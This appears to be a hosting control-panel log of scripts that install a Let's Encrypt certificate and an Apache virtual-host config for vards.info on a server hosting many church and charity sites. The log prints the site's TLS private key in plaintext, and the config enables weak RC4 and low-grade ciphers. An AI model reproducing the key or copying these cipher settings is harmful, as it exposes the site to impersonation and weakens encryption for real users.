Jk10iqG5tJjSIeacRQOJtu01Q7+L+LFWrAB9AHF+lfPCOIptseOEST0x4VqpYgh2
LUIA4AUM0Ge1pmHiAAABnCIWpVAACAAABQAIfNolBAMARjBEAiADAHcCfnPoREa7
EIvXXDTgqs8SbIGIY8wNkcJQG2vDCwIgHzLGMbmqBFLvmL+x0e5xrbgunSL3USvu
8UdgqnsQ59UwDQYJKoZIhvcNAQELBQADggEBANjJM6aRoJW/aBBgZcqBA3sYr+7n
WtyEDLE4NlPQDiscNRE7x+ewsH3O+O/kjcNS9kORObgDBbNfzl42sHgcZ2KTV7B4
HofCWjR5aYRcz1luftbUnbTYH52HlAcmNQCvV0qBK6tgQl331wZapP0InFsqFJkJ
cneRAHt+C1hYCP6remkEFSEyZjRg11XjA2EiKsGfY9O+D+gpMf3m+I7bjZEKxHwa
+YeDcvxMUhFCESgETlfxODgXnS9tQMu583p3nK47XXNoC7top/FtLXC8n2eraVmS
RC+MO8YKxmoas/Uau1rugn3gtI79rYpCLBEuhNp3rK98u2v/IBD23S4DvkQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLDdVG6K3O2JZf
DzcxKzq9LUGGhQs5o+Q1lFyye22zTvq1swp/YojwbbW1/4eEFbfdcgJEtw+czgOG
iuydUWim70Y7DOPemrPQeOeZOBBcrnXbprNn54AjWLUk1h8JOjwM1ALlL1YO27GB
ff5ObHZ6FVKhdZplJwDtcdcOx22bWYiFM4BCCz3H2LcSL1osXGyYHUo0YNxG+UHH
nEwsay1NgPlFc00X8Lc+daQSuOYO8JcnQ0TPeKD8O/iznsKyqm5K2jOZZ5u2f2Dc
fADfadXZWVr3Z9N7JXJe50MVxBOMqWNh3L647djRfKPeOfii/p3li18/8xPKGH43
3O6yiD4NAgMBAAECggEAP+GIOZi2JZ8KH7nfuT5Kan20Yae1klq3Twvv5c7jAkhU
o5lCMjVDs7AwPKO5dJqIj8hwYkHdTY2amldWfV/BNtOMGsPBZKTy8SE4a4Gx1Bam
yYW2Z3fzXitoQcCDXxnNDpQcnRG5V09SltSWjwGcfGf86QLgofYVWp439FRVbUu7
yRCHXmJVXp2T0X7zTCIvyA+UBFgduAzjw0HUREvUeVygINVkVoO6+crOv6q57hWD
6GWlx1U4CPUtVDhd6mPBGAJOs6DO+n3UJwdFIftYSNld3lvr5tTCKZmcnd2zv26L
SaU3aKwbCmoL/ocLNja56NoMHHioipzVB8csRUxVmQKBgQD1ZVg9LR54tYZyzm1v
YPz04gOBAwHAysmqJ6tS1ZvbPv+Y/KvPhszksnE8zy3kOUH+SoGRyDZVqknNn3ot
2LQoXp0RTRdn4tDINZ/F6NP7ypQ721akV3KX45Ew1uwcjF+Uvs13lhQLw8DoyBxP
+XqXkQdKSI2Mbm4j2deE+K/9bwKBgQDT1BaOnIPUexp8si3Hyq8bZ7yc3hTB77mK
Q1INAUjw/uvwfoxGXXZZBZNocy23QIs8SYd9Rz2IwQHom+6E3+avRBRTOCFipSkQ
Is6rcI64tHuVRFLQS0xuYXafzFYR59luLzvdQEI51tCVzjADb08HwDc811pXaky2
o01A2HS2QwKBgQDf6hGSANGFI14C9Ak3UDCA4pp/5dZ7rI5HDNtvQips7Bcd6bB8
NGxRYeGhswoU7YoiFqoT87RghnnBfntlyg7Zpzt6xfVNfdE0XnnjhIepgTexRnrQ
ilqt7aBWCEZ55jxw5YlmTTMNaRllTvNGpkYOdu9IANvn//vQCr51PtaXUQKBgGRL
iRqg9LJITzQ3UQHF7770ERPc+ssQbDMQyOqrbxPcP24xHM28NurTfwX3cu/POZ2j
2ujwMCxt5i9ylS6IrLrTayQz8Wq5dIXVVTFLK+g8XD9CiEtjO58PupDSuPXlZseK
ybdqU3D7SuuDIqydqTesRPsjo/y7sfLPwyYu1qPtAoGASXx6ddSJepzS6CzJ0MwW
rJ1yY4PRTG5HfP5t14zDk2r+Di4GvQNp0Z8dW8xrjOb4gEnxBUgoGgBSGChQbut4
/HPsIFHT/yJ0Sg0ueqT1EnY4jzJH8wHsBaWjzEVl1U3YsD2vmiuBOcHll4hFhH31
LeKOUwUhtKiM0BiH5i8dNJk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-03 06:00:36: 

chmod 755 /tmp/pkp212922; /tmp/pkp212922; rm /tmp/pkp212922

2026-02-03 06:00:36: 


dir=/etc/ssl/certs


2026-02-03 06:00:36: 

PUT: /tmp/pkp592770

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vards_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-03 06:00:36: 

chmod 755 /tmp/pkp592770; /tmp/pkp592770; rm /tmp/pkp592770

2026-02-03 06:00:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 38

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-03 06:00:36: 

PUT: /tmp/pkp677549

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vards_www_info.conf
TARGET=/etc/apache2/sites-enabled/vards_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vards_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf= 1'
fi


2026-02-03 06:00:36: 

chmod 755 /tmp/pkp677549; /tmp/pkp677549; rm /tmp/pkp677549

2026-02-03 06:00:36: 




2026-02-03 06:00:36: 

PUT: /tmp/pkp310267

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-03 06:00:36: 

chmod 755 /tmp/pkp310267; /tmp/pkp310267; rm /tmp/pkp310267

2026-02-03 06:00:36: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-03 06:00:36: Establishing a connection
2026-02-03 06:00:37: 

PUT: /tmp/pkp187717

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-03 06:00:37: 

chmod 755 /tmp/pkp187717; /tmp/pkp187717; rm /tmp/pkp187717

2026-02-03 06:00:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-03 06:00:37: 

PUT: /tmp/pkp134167

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vards_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-03 06:00:37: 

chmod 755 /tmp/pkp134167; /tmp/pkp134167; rm /tmp/pkp134167

2026-02-03 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf	1329

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-03 06:00:37: 

PUT: /tmp/pkp175972

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-03 06:00:37: 

chmod 755 /tmp/pkp175972; /tmp/pkp175972; rm /tmp/pkp175972

2026-02-03 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt	5365
01:92:fc:05:a3:5c:fe:75:11:df:34:c3:76:53:58:f6

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBhLwIcDTDUXu3tC7BqWSih10MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAzMDUwMjA0WhcNMjYwNTA0MDUwMjAzWjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyw3V
RuitztiWXw83MSs6vS1BhoULOaPkNZRcsntts076tbMKf2KI8G21tf+HhBW33XIC
RLcPnM4DhorsnVFopu9GOwzj3pqz0HjnmTgQXK5126azZ+eAI1i1JNYfCTo8DNQC
5S9WDtuxgX3+Tmx2ehVSoXWaZScA7XHXDsdtm1mIhTOAQgs9x9i3Ei9aLFxsmB1K
NGDcRvlBx5xMLGstTYD5RXNNF/C3PnWkErjmDvCXJ0NEz3ig/Dv4s57CsqpuStoz
mWebtn9g3HwA32nV2Vla92fTeyVyXudDFcQTjKljYdy+uO3Y0Xyj3jn4ov6d5Ytf
P/MTyhh+N9zusog+DQIDAQABo4ICMjCCAi4wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSwvaGbiWQXCzlTGhYdhgut9wx1LzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14
Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTE3LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB2AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABnCIWpScAAAQD
AEcwRQIgFSb/LdDQ9Qjx4/oVjJJCDbb4y4ZtWNFqu6oEcyvlHxQCIQDObMci97zY
Jk10iqG5tJjSIeacRQOJtu01Q7+L+LFWrAB9AHF+lfPCOIptseOEST0x4VqpYgh2
LUIA4AUM0Ge1pmHiAAABnCIWpVAACAAABQAIfNolBAMARjBEAiADAHcCfnPoREa7
EIvXXDTgqs8SbIGIY8wNkcJQG2vDCwIgHzLGMbmqBFLvmL+x0e5xrbgunSL3USvu
8UdgqnsQ59UwDQYJKoZIhvcNAQELBQADggEBANjJM6aRoJW/aBBgZcqBA3sYr+7n
WtyEDLE4NlPQDiscNRE7x+ewsH3O+O/kjcNS9kORObgDBbNfzl42sHgcZ2KTV7B4
HofCWjR5aYRcz1luftbUnbTYH52HlAcmNQCvV0qBK6tgQl331wZapP0InFsqFJkJ
cneRAHt+C1hYCP6remkEFSEyZjRg11XjA2EiKsGfY9O+D+gpMf3m+I7bjZEKxHwa
+YeDcvxMUhFCESgETlfxODgXnS9tQMu583p3nK47XXNoC7top/FtLXC8n2eraVmS
RC+MO8YKxmoas/Uau1rugn3gtI79rYpCLBEuhNp3rK98u2v/IBD23S4DvkQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLDdVG6K3O2JZf
DzcxKzq9LUGGhQs5o+Q1lFyye22zTvq1swp/YojwbbW1/4eEFbfdcgJEtw+czgOG
iuydUWim70Y7DOPemrPQeOeZOBBcrnXbprNn54AjWLUk1h8JOjwM1ALlL1YO27GB
ff5ObHZ6FVKhdZplJwDtcdcOx22bWYiFM4BCCz3H2LcSL1osXGyYHUo0YNxG+UHH
nEwsay1NgPlFc00X8Lc+daQSuOYO8JcnQ0TPeKD8O/iznsKyqm5K2jOZZ5u2f2Dc
fADfadXZWVr3Z9N7JXJe50MVxBOMqWNh3L647djRfKPeOfii/p3li18/8xPKGH43
3O6yiD4NAgMBAAECggEAP+GIOZi2JZ8KH7nfuT5Kan20Yae1klq3Twvv5c7jAkhU
o5lCMjVDs7AwPKO5dJqIj8hwYkHdTY2amldWfV/BNtOMGsPBZKTy8SE4a4Gx1Bam
yYW2Z3fzXitoQcCDXxnNDpQcnRG5V09SltSWjwGcfGf86QLgofYVWp439FRVbUu7
yRCHXmJVXp2T0X7zTCIvyA+UBFgduAzjw0HUREvUeVygINVkVoO6+crOv6q57hWD
6GWlx1U4CPUtVDhd6mPBGAJOs6DO+n3UJwdFIftYSNld3lvr5tTCKZmcnd2zv26L
SaU3aKwbCmoL/ocLNja56NoMHHioipzVB8csRUxVmQKBgQD1ZVg9LR54tYZyzm1v
